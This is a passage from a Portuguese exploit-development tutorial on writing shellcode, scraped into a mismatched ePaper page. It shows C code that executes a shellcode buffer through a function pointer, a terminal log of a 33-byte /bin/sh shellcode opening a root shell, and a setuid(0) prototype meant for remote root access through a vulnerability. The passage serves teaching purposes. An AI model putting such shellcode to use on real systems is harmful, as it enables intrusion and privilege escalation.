01.01.2013 Views

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

* Criamos um ponteiro para uma função do tipo long. */<br />

long (*executa) ();<br />

/* Apontamos a função para o shellcode. */<br />

executa = shellcode;<br />

/* E aqui acontece a mágica! :) */<br />

executa();<br />

}<br />

shellcode/hexash.c<br />

root@motdlabs:~/IP_FIX/shellcode# gcc -o hexash hexash.c<br />

hexash.c: In function `main':<br />

hexash.c:36: warning: assignment from incompatible pointer type<br />

root@motdlabs:~/IP_FIX/shellcode# ./hexash<br />

Tamanho do Shellcode: 33 bytes.<br />

sh-2.05b#<br />

w00w00!!! Um shellcode /bin/sh de 33 bytes. Isso é incrível pra quem<br />

está acostumado com o tamanho do Aleph1 (45 bytes), mas não tem<br />

nenhuma técnica desconhecida.<br />

Que tal incrementarmos um pouquinho? É mais que óbvio que usaremos<br />

essa shell para conseguir acesso remoto através de alguma<br />

vulnerabilidade. E que tal assim que cairmos, termos permissões root<br />

(uid=0)??? Sim! Isso é possível, e é mais fácil do que você imagina.<br />

Vamos ver.:<br />

shellcode/csetuid.c<br />

/*<br />

* Protótipo de shellcode em C.<br />

* Seta uid atual para 0.<br />

* by IP_FIX .<br />

* MotdLabs .<br />

* Compilação: # gcc -o csetuid csetuid.c<br />

*/<br />

#include <br />

main() {<br />

setuid(0);<br />

}<br />

shellcode/csetuid.c<br />

root@motdlabs:~/IP_FIX/shellcode# gcc -o csetuid csetuid.c<br />

root@motdlabs:~/IP_FIX/shellcode# ./csetuid<br />

root@motdlabs:~/IP_FIX/shellcode#<br />

Ok, agora vamos ver como funciona e criá-lo em ASM:<br />

root@motdlabs:~/IP_FIX/shellcode# man setuid<br />

int setuid(uid_t uid);<br />

79

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!